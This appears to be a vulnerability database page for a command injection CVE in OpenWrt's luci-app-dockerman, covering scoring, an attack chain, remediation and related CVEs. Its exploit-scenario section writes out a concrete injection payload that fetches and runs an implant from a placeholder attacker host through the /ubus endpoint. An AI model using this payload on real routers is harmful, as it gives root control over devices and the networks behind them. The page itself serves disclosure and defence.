Skip to main content

luci-app-dockerman CVE-2026-69096

| EUVDEUVD-2026-52289 HIGH
OS Command Injection (CWE-78)
2026-08-03 VulnCheck GHSA-wjfh-jfr9-fxvm
8.7
CVSS 4.0 · Vendor: VulnCheck
View

Attack ChainAIDerived

Hypothetical attack flow derived from CVE metadata – not a confirmed exploit chain

  1. Access
    Authenticate to LuCI with read-ACL account
  2. Delivery
    POST to /ubus targeting docker.container.ttyd_start
  3. Exploit
    Inject shell metacharacters in id/cmd/uid request fields
  4. Execution
    run_ttyd concatenates unsanitized input into shell command string
  5. Persist
    system() executes injected payload as root via rpcd
  6. Impact
    Arbitrary root command execution on router OS

Vulnerability Assessment

Weakness
CWE
OWASP Top 10:2025
A05:2025 - Injection
ASVS 5.0
V1 - Encoding and Sanitization OS command sanitization, avoid shell exec
MITRE ATT&CK

2 techniques across 1 tactic: Execution

The technique list with ATT&CK links and the kill-chain view is part of the Basic plan and up.

Exploitation Conditions

Exploitation requires an authenticated LuCI session with an account that has been granted the luci-app-dockerman read ACL; write or administrative privileges are not needed. The vulnerable ucode docker_rpc.uc backend must be present, which is the case only in LuCI master and openwrt-25.12 snapshots after the JS-to-ucode conversion - openwrt-24.10 and openwrt-23.05 are categorically unaffected and require no action. The luci-app-dockerman package must be installed on the target device. No specific Docker container state, running container, or non-default configuration toggle is required; the ttyd_start ubus method is exposed by the ACL regardless of container runtime state. The authentication requirement (PR:L per CVSS 4.0 vector) is the sole limiting condition - unauthenticated remote attackers cannot reach the vulnerable code path.

Impact

The CVSS 4.0 score of 8.7 (AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N) accurately reflects a high-severity, network-accessible vulnerability requiring no user interaction and only low-privilege authentication. The PR:L requirement is the primary real-world limiting factor - an attacker must hold a valid LuCI account with the luci-app-dockerman read ACL granted. In environments where operators share Docker management dashboards with multiple users, this ACL may be broadly assigned, effectively lowering the exploitation bar. This vulnerability is not present in CISA KEV, no EPSS score is available from the provided data, and no public exploit code has been identified at time of analysis; however, the attack mechanic is trivially constructible from the description alone (inject a semicolon into an HTTP POST field) with no reverse engineering required. The consequence - arbitrary root command execution on a network device - is severe: routers compromise the entire LAN they protect. This makes luci-app-dockerman a high-priority remediation target for any affected OpenWrt deployment despite the authentication prerequisite.

Exploit ScenarioDerived

An attacker with a standard read-only LuCI account sends an HTTP POST to /ubus invoking docker.container.ttyd_start with a payload such as id set to a valid container name followed by shell metacharacters (e.g., alpine; curl http://attacker.example/implant | sh). The run_ttyd handler in docker_rpc.uc concatenates the unsanitized value into a shell command string and passes it to system(), executing the injected commands as root under the rpcd daemon. This yields complete, persistent root access to the router - enabling firmware modification, traffic interception, credential harvesting, or lateral pivot into the protected LAN.

This Week Schedule remediation this week. Why: HIGH severity (CVSS 7.0-8.9).
Patch available 1.7% exploitation probability (EPSS)

Get an e-mail when this CVE is exploited, patched or re-scored. Free account.

Alert me

AnalysisAIv1 – Aug 03, 2026

OS command injection in OpenWrt's luci-app-dockerman grants any authenticated user holding only the read ACL full root-level code execution on the affected router. The vulnerable run_ttyd handler in the ucode docker_rpc.uc backend constructs a shell command from attacker-controlled request fields (id, cmd, uid) and passes them unsanitized to system() within the rpcd root context, reachable via a simple HTTP POST to /ubus. Only LuCI master and openwrt-25.12 snapshots after the JS-to-ucode backend conversion are affected; upstream patch commits exist but no released patched snapshot version was confirmed as of the advisory, and no public exploit is identified at time of analysis.

RemediationAI

Upstream fix commits are available at https://github.com/openwrt/luci/commit/f4d0a44950e42bcbb8eacf715a3493b276a4f3ac and https://github.com/openwrt/luci/commit/44618b5b53d9bdad5cd489e82e29688b4d0862c1; however, no tagged or officially released patched snapshot build was confirmed as of the advisory date, so operators should monitor the advisory at https://github.com/openwrt/luci/security/advisories/GHSA-cq4h-h8jr-3xqv for a fixed build. As an immediate compensating control, removing the luci-app-dockerman package entirely eliminates the attack surface if LuCI-based Docker management is not operationally required - this does not affect Docker daemon functionality itself, only the LuCI UI integration. If the package must remain installed, revoke or restrict the luci-app-dockerman read ACL from all non-administrator accounts via the rpcd ACL configuration in /usr/share/rpcd/acl.d/; the trade-off is that those accounts will lose Docker status visibility through the LuCI interface. Additionally, restricting network access to the LuCI web interface (TCP 80/443) to trusted management subnets reduces exposure to opportunistic attackers but does not mitigate insider or compromised-credential scenarios.

Affected VersionsENISA

luci 26.162.29621~507ab5e

Affects your stack

Find out whether the stacks and servers you run are on an affected version.

Checking this CVE against your own stacks and servers is part of the Basic plan and up.

Technical ContextAI · show details

The root cause is CWE-78 (Improper Neutralization of Special Elements used in an OS Command) within the ucode-based docker_rpc.uc RPC backend, introduced when OpenWrt LuCI migrated its Docker management interface from JavaScript to ucode. The docker.container.ttyd_start ubus method invokes the run_ttyd handler, which assembles a shell command string by concatenating the request-supplied id, cmd, and uid fields without quoting or using argv-style execution, then hands the result directly to system() - running in the rpcd daemon process, which executes as root. A compounding design flaw is that the package's read ACL grants broad access to the docker.* and docker.container.* ubus namespaces, inadvertently exposing this mutating method to users who were intended to have only read visibility. The affected CPE is cpe:2.3:a:openwrt:luci:*:*:*:*:*:*:*:*, with EUVD identifying build luci 26.162.29621~507ab5e as a confirmed vulnerable snapshot.

Know when Openwrt gets its next vulnerability

  • Watch products and get an email when something new is published
  • Check this CVE against your own stack and servers
  • Exploit and PoC references, threat intelligence from 22 sources

No credit card · 7-day full trial

Severity by source

Vendor (VulnCheck) PRIMARY 8.7 HIGH
CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N
vuln.today AI 8.8 HIGH

Network-accessible ubus endpoint, low-complexity injection; PR:L because a valid read-ACL account is required; rpcd already runs as root so no scope change beyond the device itself.

3.1 AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
4.0 AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N

Primary rating from Vendor (VulnCheck).

CVSS VectorVendor: VulnCheck

Attack Vector
Network
Attack Complexity
Low
Attack Requirements
None
Privileges Required
Low
User Interaction
None
Vulnerable system: Confidentiality
High
Vulnerable system: Integrity
High
Vulnerable system: Availability
High
Subsequent system: Confidentiality
None
Subsequent system: Integrity
None
Subsequent system: Availability
None

DescriptionCVE.org

OpenWrt luci-app-dockerman (LuCI master and openwrt-25.12 snapshots containing the ucode docker_rpc.uc RPC backend after the JS/ucode conversion) contains an OS command injection vulnerability. The package's read ACL grants broad ubus access to docker.* / docker.container.*, which exposes the docker.container.ttyd_start method even though it performs mutating operations. The run_ttyd handler builds a shell command from the request-controlled id, cmd, and uid fields and passes it to system() without quoting or argv-style execution in the rpcd root context. An authenticated attacker holding only the luci-app-dockerman read ACL can inject shell metacharacters (e.g., in id) to execute arbitrary commands as root via an HTTP POST to /ubus. openwrt-24.10 and openwrt-23.05 do not contain this backend and are not affected; no patched version was known as of the advisory.

Executive ViewAI

Why It Matters

OpenWrt routers running LuCI master or openwrt-25.12 snapshots contain a command injection vulnerability that allows read-only administrators to gain full root control. This enables adversaries with internal network access to compromise router firmware, intercept network communications, and potentially attack downstream devices. Organizations must immediately identify affected deployments and prepare for patched release availability.

Business Impact: High
Compensating Controls

Apply vendor patch. Restrict LuCI management interface access to trusted administrative networks until patch deployment is complete.

Threat Intelligence Overview

EPSS Score
1.7%
Top 25% exploitable
Prevalence
Low
optional Docker management plugin for OpenWrt embedded routers
Data Quality
7 sources
Confidence: High
EUVD NVD CVE.org EPSS Vulnrichment GitHub VulDB

How this decision was reached

The engine reads each signal below and applies a fixed list of rules from top to bottom. The first rule that matches sets the recommended action – like a statement, every line is shown.

SignalValue
Severity HIGH
CISA KEV No
Public POC No
EPSS 1.7%
Patch available Yes
Active threat No
Deciding rule
HIGH severity (CVSS 7.0-8.9)
What every action level means
Emergency Immediate action required. Criteria: CRITICAL + in CISA KEV (actively exploited) without patch, OR CRITICAL + EPSS > 30% without patch, OR CRITICAL + active threat signals without patch.
Act Now Prioritize within 24-48h. Criteria: in KEV with patch available, OR CRITICAL + public POC, OR HIGH + EPSS > 10%, OR CRITICAL + active threat, OR any CRITICAL severity.
This Week Schedule remediation this week. Criteria: HIGH severity (CVSS 7.0-8.9). Patch within normal change window.
This Month Plan within 30 days. Criteria: MEDIUM severity (CVSS 4.0-6.9), lower exploitation probability. Include in regular patch cycle.
Monitor Track and reassess. Criteria: LOW severity (CVSS 0.1-3.9), minimal exploitation risk. No immediate action needed.

SSVC AssessmentENISA

SSVC Decision
Scheduled
Exploitation
None
System Exposure· derived
Open
Automatable
No
Human Impact
High
Technical Impact
Total

Priority Score

46
Low Medium High Critical
KEV: 0
EPSS: +2
CVSS: +44
PoC: 0
Weaponized: 0
Threat intel: 0
Gov advisory: 0

Attack Technique

OS command injection occurs when an application passes unsanitized user input directly into system shell commands.

CVE-2024-20017 CRITICAL POC
9.8 Mar 04

In wlan service, there is a possible out of bounds write due to improper input validation. Rated critical severity (CVSS

CVE-2020-7982 HIGH POC
8.1 Mar 16

An issue was discovered in OpenWrt 18.06.0 to 18.06.6 and 19.07.0, and LEDE 17.01.0 to 17.01.7. Rated high severity (CVS

CVE-2019-15513 HIGH POC
7.5 Aug 23

An issue was discovered in OpenWrt libuci (aka Library for the Unified Configuration Interface) before 15.05.1 as used o

CVE-2018-19630 MEDIUM POC
6.1 Nov 28

cgi_handle_request in uhttpd in OpenWrt through 18.06.1 and LEDE through 17.01 has unauthenticated reflected XSS via the

CVE-2025-20654 CRITICAL
9.8 Apr 07

In wlan service, there is a possible out of bounds write due to an incorrect bounds check. Rated critical severity (CVSS

CVE-2019-5102 MEDIUM POC
5.9 Nov 18

An exploitable information leak vulnerability exists in the ustream-ssl library of OpenWrt, versions 18.06.4 and 15.05.1

CVE-2019-5101 MEDIUM POC
5.9 Nov 18

An exploitable information leak vulnerability exists in the ustream-ssl library of OpenWrt, versions 18.06.4 and 15.05.1

CVE-2025-20674 CRITICAL
9.8 Jun 02

Remote privilege escalation in Android WLAN AP driver via packet injection.

CVE-2025-20683 CRITICAL
9.8 Jul 08

In wlan AP driver, there is a possible out of bounds write due to an incorrect bounds check. This could lead to local es

CVE-2025-20682 CRITICAL
9.8 Jul 08

In wlan AP driver, there is a possible out of bounds write due to an incorrect bounds check. This could lead to local es

CVE-2025-20681 CRITICAL
9.8 Jul 08

In wlan AP driver, there is a possible out of bounds write due to an incorrect bounds check. This could lead to local es

CVE-2026-30872 CRITICAL
9.8 Mar 19

Remote code execution in OpenWrt's mDNS daemon (versions before 24.10.6 and 25.12.1) allows unauthenticated attackers to

This site uses cookies essential for authentication and security. No tracking or analytics cookies are used. Privacy Policy